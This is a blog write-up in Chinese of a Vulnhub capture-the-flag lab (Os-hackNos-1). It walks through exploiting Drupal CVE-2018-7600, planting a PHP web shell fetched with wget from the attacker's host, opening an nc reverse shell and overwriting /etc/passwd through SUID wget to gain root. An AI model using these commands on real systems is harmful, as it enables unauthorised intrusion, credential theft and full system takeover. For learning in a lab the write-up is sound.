第一次写自己总结的文章,之后也会有更新,目前还在初学阶段。

首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1

简介: 难度容易到中, flag 两个 一个是普通用户的user.txt 另外一个是root用户的user.txt

靶机的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

有的靶机可能打开无法获取IP,我们需要使用方法来进入到靶机内,修改信息。

开始过程:

1.去靶机的网站进行下载,一个是直接下载,一个是磁力链接。
 
2.在这个页面一直按shift然后按e进入页面
 

3.将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入页面
4.查ip发现查不到,记住网卡的名称,准备修改配置信息
5.vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,把这两个都改成 ens33
6.然后/etc/init.d/networking restart 重启网卡服务
7.最后按ctrl+alt+del,进行重启
 

接下来开始正式的操作

首先看ip然后扫描这个ip段,看靶机的IP地址是多少

 
发现靶机ip和其他的不同

使用nmap扫描:nmap -sV -sC -A 192.168.0.8 -oA oshacknos1

发现开放22和80端口,尝试访问

使用火狐访问,firefox http://192.168.0.8

访问成功

先使用目录扫描器,查看后台目录,发现gobuster没有安装,先安装。apt install gobuster

输入命令gobuster dir -u http://192.168.0.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
发现存在一个/drupal的页面

访问成功。http://192.168.0.8/drupal/

获取到了后台,是drupal一个php的内容管理系统。可以下载一个系统来查看他的后台有那些目录,或者去查找相关的目录。

发现版本为7.57,可以网上查找是否存在exp。

在github上发现了exp,https://github.com/pimps/CVE-2018-7600

创建一个文件夹,来安装exp。命令git clone https://github.com/pimps/CVE-2018-7600.git

使用python3来打开,输入-h参数。python3 drupa7-CVE-2018-7600.py -h

发现有很多参数,这里一般填写url即可。
positional arguments:
target URL of target Drupal site (ex: http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default = passthru)
-p PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default = none)

输入url之后,默认输入了id,返回了用户www-data。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/

这里的-c参数可以执行系统命令。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c whoami

查看目录文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls

访问数据库文件的页面。http://192.168.0.8/drupal/sites/

查看数据库文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "cat sites/default/settings.php"

获取到了账号密码文件
* @code
* array(
* 'driver' => 'mysql',
* 'database' => 'databasename',
* 'username' => 'username',
* 'password' => 'password',
* 'host' => 'localhost',
* 'port' => 3306,
* 'prefix' => 'myprefix_',
* 'collation' => 'utf8_general_ci',
* );
* @endcode

在获取账号的同时也可以在对目录进行更深的扫描。gobuster dir -u http://192.168.0.8/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

在之前创建的文件夹目录下,创建config.txt文件,写入账号和密码。

编写一个php文件的一句话。<?php system($_POST['knife']);?>
 
开启python自带的httpserver,查看ip地址。python -m SimpleHTTPServer

要在靶机上上传这个木马文件,尝试访问,访问成功。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "wget http://192.168.0.3:8000/qq.php"

上传成功

在抓代理之前,设置火狐为中文,方便之后的查看

发现代理没有下载,搜索foxyproxy进行下载,点击添加即可。

在burp这个页面设置代理

上传之后,查看文件无法显示,抓包看一下。

更改提交的方法,使用change request method

成功获取,可以执行命令了,试着做一个反弹shell

先监听9001端口

使用nc的命令进行反弹shell。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

放到moon的这里。需要进行编码才可以。rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+192.168.0.3+9001+%3e%2ftmp%2ff

获取成功

对shell进行一个切换,-c导入模块pty,最后登录成功
python3 -c 'import pty;pty.spawn("/bin/bash")'

查看id和ls目录,查看/etc/passwd 下的目录,发现有一个james的用户,查看内容

查看user.txt,发现第一个flag。bae11ce4f67af91fa58576c1da2aad4b

试着访问root目录发现没有权限。继续查看其他文件,看看有没有可疑文件。

返回上一级目录查看文件,发现一个alexander.txt的文件。

查看文件发现为一些密文,可以使用burp来进行解密,发现可以使用base64位来进行解密

解密内容:+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
使用百度进行查询发现是一种编码格式进行解密。

获得账号。james:Hacker@4514

保存账号到目录下

尝试登录,发现无法登录

想起之前有开放22端口,试着ssh登录,发现也是不行

没有其他办法了,试着提权,先看看suid提权,需要搜索到,带有s的文件,开始查找。find / -perm -u=s -type f 2>/dev/null

发现这里有一个wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password。
把整个passwd先复制出来,然后在baji1的文件夹里创建一个passwd,粘贴进去。

创建一个用户

将root的格式复制出来,使用knife来进行使用
root:x:0:0:root:/root:/bin/bash
knife:$1$knife$C950ul0bfwnJsvgk7oiF/0:0:0:root:/root:/bin/bash

保存到创建的passwd里面

访问本地的端口,查看文件是否可以访问

下载到我们的目标靶机上,把passwd进行替换就可以了。命令wget http://192.168.0.3:8000/passwd -O /etc/passwd

打开passwd发现修改成功

使用knife进行登录,用户权限变成root,修改成功

返回主目录,打开root.txt。获取flag

查看一下ssh,发现ssh防护做的很好,只需要把目录给增强一下即可。

总结

1.第一次进行靶机的渗透,有需要地方还不熟悉,工具也是在过程中安装的没有事先安装。

2.过程中遇到了很多问题,文件上传的问题,nc反弹shell的问题等问题,这些问题在渗透中,都需要去查找资料,慢慢一步一步的去做。

3.总的来说,第一次靶机很艰难,但也十分有趣,能学习到很多知识,对自身也有很大的提升。

 
 
 
 
 
 

vulnhub靶机练习-Os-hackNos-1,超详细使用的更多相关文章

  1. 转帖: 一份超全超详细的 ADB 用法大全

    增加一句 连接 网易mumu模拟器的方法 adb  connect 127.0.0.1:7555 一份超全超详细的 ADB 用法大全 2016年08月28日 10:49:41 阅读数:35890 原文 ...

  2. SCIP | 数学规划求解器SCIP超详细的使用教程

    前言 小伙伴们大家好呀!继上次lp_solve规划求解器的推文出来以后,大家都期待着更多求解器的具体介绍和用法.小编哪敢偷懒,这不,赶在考试周之际,又在忙里偷闲中给大家送上一篇SCIP规划求解的推文教 ...

  3. c语言面试宝典(经典,超详细)

    c语言面试宝典(经典,超详细) 2018年08月25日 09:32:19 chengxuyuan997 阅读数:7799   摘自:https://blog.csdn.net/chengxuyuan9 ...

  4. 超详细Go语言源码目录说明

    开源项目「go home」聚焦Go语言技术栈与面试题,以协助Gopher登上更大的舞台,欢迎go home~ 导读 学习Go语言源码的第一步就是了解先了解它的目录结构,你对它的源码目录了解多少呢?今天 ...

  5. Docker安装教程(超详细)

    Docker安装教程(超详细) 欢迎关注博主公众号「Java大师」, 专注于分享Java领域干货文章, 关注回复「资源」, 免费领取全网最热的Java架构师学习PDF, 转载请注明出处 http:// ...

  6. vulnhub靶机-Me and My Girlfriend: 1

    vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...

  7. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  8. 【转】(超详细)jsp与servlet之间页面跳转及参数传递实例

    初步学习JavaEE,对其中jsp与Servlet之间的传值没弄清楚,查看网上资料,发现一篇超详细的文章,收获大大,特此记录下来.具体链接:http://blog.csdn.net/ssy_shand ...

  9. 超强、超详细Redis数据库入门教程

    这篇文章主要介绍了超强.超详细Redis入门教程,本文详细介绍了Redis数据库各个方面的知识,需要的朋友可以参考下 [本教程目录] 1.redis是什么2.redis的作者何许人也3.谁在使用red ...

  10. Github上传代码菜鸟超详细教程【转】

    最近需要将课设代码上传到Github上,之前只是用来fork别人的代码. 这篇文章写得是windows下的使用方法. 第一步:创建Github新账户 第二步:新建仓库 第三部:填写名称,简介(可选), ...

随机推荐

  1. 在vscode中配置sass savepath

    1.先在VSCode上面安装插件:Live Sass Compiler 2.创建好scss文件夹文件和css文件夹 3.然后在VSCode的控制台上打开Live sass watching模式(控制台 ...

  2. docker基本入门知识-小白向

    基本概念 Docker是一个开源项目,前身是dotCloud公司的内部项目,但苦于无法扩大使用和推广,后期开源后吸引大量的开发人员的参与,以至于公司直接改名为Docker Inc. Docker项目的 ...

  3. 双重校验锁 --使用volatile和两次判空校验

    介绍 双重校验锁是单例模式中,饿汉式的一种实现方式.因为有两次判空校验,所以叫双重校验锁,一次是在同步代码块外,一次是在同步代码块内. 为什么在同步代码块内还要再检验一次? 第一个if减少性能开销,第 ...

  4. Assuming that agent dropped connection because of access permission

    Assuming that agent dropped connection because of access permission

  5. 【Java】网络编程之NIO

    简单记录 慕课网-解锁网络编程之NIO的前世今生 & 一站式学习Java网络编程 全面理解BIO/NIO/AIO 内容概览 文章目录 1.[了解] NIO网络编程模型 1.1.NIO简介 1. ...

  6. 到底什么是哈希Hash?

    有次面试被问到这个问题? 我说是经过运算的一串字符串,这个回答显然是让人不满意,连自己都不满意! 但是又对其很模糊,那么到底什么是Hash呢? 定义 Hash一般翻译为散列,还有音译为哈希,本文我们统 ...

  7. MyBatis初级实战之六:一对多关联查询

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  8. Android事件分发机制五:面试官你坐啊

    前言 很高兴遇见你~ 事件分发系列文章已经到最后一篇了,先来回顾一下前面四篇,也当个目录: Android事件分发机制一:事件是如何到达activity的? : 从window机制出发分析了事件分发的 ...

  9. 安卓开发视频教程!想找工作的你还不看这份资料就晚了!Android校招面试指南

    前言 准备面试其实已经准备了挺久了,当时打算面试准备了差不多以后,跟公司谈谈涨薪的事情,谈不拢的话,就年后直接找其他的公司.谁想到婚假还没休完,老板就在公司宣布了撤出上海的决定,愿意去深圳的就去,不愿 ...

  10. 【转载】HTTP 协议详细介绍

    背景 当你在浏览器地址栏敲入"http://www.cnblogs.com/",然后猛按回车,呈现在你面前的,将是博客园的首页了(这真是废话,你会认为这是理所当然的).作为一个开发 ...